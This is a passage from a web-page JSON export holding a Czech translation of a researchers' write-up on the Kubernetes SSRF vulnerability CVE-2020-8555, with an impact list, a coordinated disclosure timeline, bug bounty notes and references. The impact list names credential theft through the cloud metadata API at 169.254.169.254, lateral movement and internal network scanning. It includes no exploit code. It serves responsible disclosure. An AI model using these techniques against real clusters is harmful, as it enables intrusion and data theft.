distributor\u016f.<\/p>\n<p>N\u00ed\u017ee najdete dal\u0161\u00ed informace, kter\u00e9 pomohou pochopit, podle \u010deho jsme posuzovali mo\u017en\u00e9 d\u016fsledky v cloudov\u00fdch prost\u0159ed\u00edch:<\/p>\n<h3>Integrita<\/h3>\n<p><\/p>\n<ul>\n<li> Vzd\u00e1len\u00e9 vykon\u00e1v\u00e1n\u00ed p\u0159\u00edkaz\u016f pomoc\u00ed z\u00edskan\u00fdch intern\u00edch p\u0159ihla\u0161ovac\u00edch \u00fadaj\u016f.<\/li>\n<li> Reprodukce v\u00fd\u0161e popsan\u00e9ho sc\u00e9n\u00e1\u0159e metodou IDOR (Insecure Direct Object Reference, tedy nebezpe\u010dn\u00e9 p\u0159\u00edm\u00e9 odkazy na objekty) s jin\u00fdmi zdroji nalezen\u00fdmi v lok\u00e1ln\u00ed s\u00edti.<\/li>\n<\/ul>\n<p><\/p>\n<h3>Ochrana soukrom\u00ed<\/h3>\n<p><\/p>\n<ul>\n<li> \u00datok typu <noindex><a rel=\"nofollow\" href=\"https:\/\/en.wikipedia.org\/wiki\/Network_Lateral_Movement\">Lateral Movement<\/a><\/noindex> d\u00edky kr\u00e1de\u017ei cloudov\u00fdch p\u0159ihla\u0161ovac\u00edch \u00fadaj\u016f (nap\u0159. metadata API).<\/li>\n<li> Sb\u00edr\u00e1n\u00ed informac\u00ed pomoc\u00ed skenov\u00e1n\u00ed lok\u00e1ln\u00ed s\u00edt\u011b (stanoven\u00ed verze SSH, verze HTTP serveru, \u2026).<\/li>\n<li> Sb\u00edr\u00e1n\u00ed informac\u00ed o instanc\u00edch a infrastruktu\u0159e dotazov\u00e1n\u00edm intern\u00edch API, jako je metadata API (<code>http:\/\/169.254.169.254<\/code>, \u2026).<\/li>\n<li> Kr\u00e1de\u017e \u00fadaj\u016f klient\u016f pomoc\u00ed cloudov\u00fdch p\u0159ihla\u0161ovac\u00edch \u00fadaj\u016f.<\/li>\n<\/ul>\n<p><\/p>\n<h3>Dostupnost<\/h3>\n<p>\nV\u0161echny sc\u00e9n\u00e1\u0159e vyu\u017eit\u00ed exploit\u016f spojen\u00e9 s vektory \u00fatok\u016f na <b>integrity (integrita)<\/b>, mohou b\u00fdt pou\u017eity k destruktivn\u00edm \u010din\u016fm a v\u00e9st k tomu, \u017ee master instance z klientsk\u00e9ho perimetru (nebo jak\u00e9hokoli jin\u00e9ho) se stanou nedostupn\u00fdmi.<\/p>\n<p>Vzhledem k tomu, \u017ee jsme byli v \u0159\u00edzen\u00e9m prost\u0159ed\u00ed K8s a hodnotili dopad na integritu, lze si p\u0159edstavit \u0159adu sc\u00e9n\u00e1\u0159\u016f, kter\u00e9 by mohly ovlivnit dostupnost. Mezi dal\u0161\u00ed p\u0159\u00edklady pat\u0159\u00ed po\u0161kozen\u00ed datab\u00e1ze etcd nebo proveden\u00ed kritick\u00e9ho vol\u00e1n\u00ed API Kubernetes.<\/p>\n<h2>Chronologie<\/h2>\n<p><\/p>\n<ul>\n<li> 6. prosince 2019: odesl\u00e1n\u00ed zpr\u00e1vy o nalezen\u00e9 zranitelnosti do programu MSRC Bug Bounty.<\/li>\n<li> 3. ledna 2020: t\u0159et\u00ed strana informovala v\u00fdvoj\u00e1\u0159e Kubernetes o tom, \u017ee pracujeme na probl\u00e9mu v oblasti zabezpe\u010den\u00ed, a po\u017e\u00e1dala je, aby pova\u017eovali SSRF za intern\u00ed (in-core) zranitelnost. N\u00e1sledn\u011b jsme p\u0159edlo\u017eili celkovou zpr\u00e1vu s technick\u00fdmi podrobnostmi o zdroji probl\u00e9mu.<\/li>\n<li> 15. ledna 2020: poskytli jsme v\u00fdvoj\u00e1\u0159\u016fm Kubernetes technick\u00e9 a celkov\u00e9 zpr\u00e1vy na jejich \u017e\u00e1dost (prost\u0159ednictv\u00edm platformy HackerOne).<\/li>\n<li> 15. ledna 2020: v\u00fdvoj\u00e1\u0159i Kubernetes n\u00e1s informovali, \u017ee half-blind SSRF + CRLF injection pro p\u0159edchoz\u00ed verze je pova\u017eov\u00e1na za in-core zranitelnost. Okam\u017eit\u011b jsme zastavili anal\u00fdzy p\u00e9rimetru jin\u00fdch poskytovatel\u016f slu\u017eeb: prim\u00e1rn\u00ed p\u0159\u00ed\u010dinou se za\u010dala zab\u00fdvat t\u00fdm K8s.<\/li>\n<li> 15. ledna 2020: prost\u0159ednictv\u00edm HackerOne bylo z\u00edsk\u00e1no odm\u011bna od MSRC.<\/li>\n<li> 16. ledna 2020: Kubernetes PSC (Product Security Committee) uznal zranitelnost a po\u017e\u00e1dal, aby byla udr\u017eov\u00e1na v tajnosti do poloviny b\u0159ezna kv\u016fli velk\u00e9mu po\u010dtu potenci\u00e1ln\u00edch ob\u011bt\u00ed.<\/li>\n<li> 11. \u00fanora 2020: z\u00edsk\u00e1na odm\u011bna od Google VRP.<\/li>\n<li> 4. b\u0159ezna 2020: p\u0159es HackerOne byla z\u00edsk\u00e1na odm\u011bna od Kubernetes.<\/li>\n<li> 15. b\u0159ezna 2020: p\u016fvodn\u011b pl\u00e1novan\u00e9 ve\u0159ejn\u00e9 odhalen\u00ed bylo odlo\u017eeno kv\u016fli situaci s COVID-19.<\/li>\n<li> 1. \u010dervna 2020: spole\u010dn\u00e9 prohl\u00e1\u0161en\u00ed Kubernetes + Microsoft o zranitelnosti.<\/li>\n<\/ul>\n<p><\/p>\n<h2>TL;DR<\/h2>\n<p><\/p>\n<ul>\n<li> Pijeme pivo a j\u00edme pizzu \ud83d\ude42<\/li>\n<li> Objevili jsme in-core zranitelnost v Kubernetes, i kdy\u017e jsme to v\u016fbec nem\u011bli v \u00famyslu.<\/li>\n<li> Provedli jsme dal\u0161\u00ed anal\u00fdzu v clusterech r\u016fzn\u00fdch poskytovatel\u016f cloudu a poda\u0159ilo se n\u00e1m zv\u00fd\u0161it \u0161kody zp\u016fsoben\u00e9 zranitelnost\u00ed, abychom z\u00edskali dal\u0161\u00ed skv\u011bl\u00e9 bonusy.<\/li>\n<li> V tomto \u010dl\u00e1nku najdete \u0159adu technick\u00fdch podrobnost\u00ed. R\u00e1di je s v\u00e1mi prodiskutujeme (Twitter: <noindex><a rel=\"nofollow\" href=\"https:\/\/twitter.com\/reeverzax\">@ReeverZax<\/a><\/noindex> &amp;&amp; <noindex><a rel=\"nofollow\" href=\"https:\/\/twitter.com\/__hach_\">@__hach_<\/a><\/noindex>).<\/li>\n<li> Uk\u00e1zalo se, \u017ee ve\u0161ker\u00e9 formality a sestavov\u00e1n\u00ed zpr\u00e1v zabere mnohem v\u00edce \u010dasu, ne\u017e se o\u010dek\u00e1valo.<\/li>\n<\/ul>\n<p><\/p>\n<h2>Odkazy<\/h2>\n<p><\/p>\n<ul>\n<li> <noindex><a rel=\"nofollow\" href=\"https:\/\/groups.google.com\/g\/kubernetes-security-announce\">Google skupina kubernetes-security-announce<\/a><\/noindex>;<\/li>\n<li> <noindex><a rel=\"nofollow\" href=\"https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2020-8555\">CVE-2020-8555<\/a><\/noindex>;<\/li>\n<li> <noindex><a rel=\"nofollow\" href=\"https:\/\/github.com\/golang\/go\/issues\/30794\">golang issue #30794<\/a><\/noindex>;<\/li>\n<li> <noindex><a rel=\"nofollow\" href=\"https:\/\/github.com\/heketi\/heketi\/blob\/6a1ff1a6176e6566894d30ecc714d0643301558d\/client\/api\/go-client\/volume.go#L34\">heketi\/client\/api\/go-client\/volume.go<\/a><\/noindex>.<\/li>\n<\/ul>\n<p><\/p>\n<h2>P.S. od p\u0159ekladatele<\/h2>\n<p>\nP\u0159e\u010dt\u011bte si tak\u00e9 n\u00e1\u0161 blog:<\/p>\n<ul>\n<li> \u00ab<noindex><a rel=\"nofollow\" href=\"https:\/\/habr.com\/ru\/company\/flant\/blog\/485838\/\">Hunting for bugs in Kubernetes is officially open<\/a><\/noindex>\u00bb;<\/li>\n<li> \u00ab<noindex><a rel=\"nofollow\" href=\"https:\/\/habr.com\/ru\/company\/flant\/blog\/466625\/\">V\u00fdstup za hranice podu v Kubernetes prost\u0159ednictv\u00edm montov\u00e1n\u00ed log\u016f<\/a><\/noindex>\u00bb;<\/li>\n<li> \u00ab<noindex><a rel=\"nofollow\" href=\"https:\/\/habr.com\/ru\/company\/flant\/blog\/465141\/\">33+ n\u00e1stroj\u016f pro bezpe\u010dnost Kubernetes<\/a><\/noindex>\u00bb.<\/li>\n<\/ul>\n<p>Zdroj: <a content=\"nofollow\" rel=\"nofollow\" href=\"https:\/\/habr.com\/ru\/company\/flant\/blog\/508308\/\">habr.com<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"<p>\u041f\u0440\u0438\u043c. \u043f\u0435\u0440\u0435\u0432.: \u0430\u0432\u0442\u043e\u0440\u044b \u044d\u0442\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0438 \u0432 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u044f\u0445 \u0440\u0430\u0441\u0441\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0442 \u043e \u0442\u043e\u043c, \u043a\u0430\u043a \u0438\u043c \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2020\u20138555 \u0432 Kubernetes. \u0425\u043e\u0442\u044f \u0438\u0437\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e \u043e\u043d\u0430 \u0438 \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u043b\u0430 \u043d\u0435 \u043e\u0447\u0435\u043d\u044c \u043e\u043f\u0430\u0441\u043d\u043e\u0439, \u0432 \u0441\u043e\u0447\u0435\u0442\u0430\u043d\u0438\u0438 \u0441 \u0434\u0440\u0443\u0433\u0438\u043c\u0438 \u0444\u0430\u043a\u0442\u043e\u0440\u0430\u043c\u0438 \u0435\u0451 \u043a\u0440\u0438\u0442\u0438\u0447\u043d\u043e\u0441\u0442\u044c \u0443 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u0445 \u043f\u0440\u043e\u0432\u0430\u0439\u0434\u0435\u0440\u043e\u0432 \u043e\u043a\u0430\u0437\u0430\u043b\u0430\u0441\u044c \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u043e\u0439. \u0417\u0430 \u043f\u0440\u043e\u0432\u0435\u0434\u0451\u043d\u043d\u0443\u044e \u0440\u0430\u0431\u043e\u0442\u0443 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u043e\u0432 \u0449\u0435\u0434\u0440\u043e \u0432\u043e\u0437\u043d\u0430\u0433\u0440\u0430\u0434\u0438\u043b\u0438 \u0441\u0440\u0430\u0437\u0443 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0439. \u041a\u0442\u043e \u043c\u044b \u0442\u0430\u043a\u0438\u0435 \u041c\u044b \u2014 \u0434\u0432\u0430 \u0444\u0440\u0430\u043d\u0446\u0443\u0437\u0441\u043a\u0438\u0445 [&hellip;]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":86624,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[688],"tags":[],"class_list":["post-86623","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-administrirovanie"],"aioseo_notices":[],"aioseo_head":"\n\t\t<!-- All in One SEO 5.0.5 - aioseo.com -->\n\t<meta name=\"description\" content=\"\u041f\u0440\u0438\u043c.\" \/>\n\t<meta name=\"robots\" content=\"max-image-preview:large\" \/>\n\t<meta name=\"author\" content=\"Yuri Gagarin\"\/>\n\t<link rel=\"canonical\" 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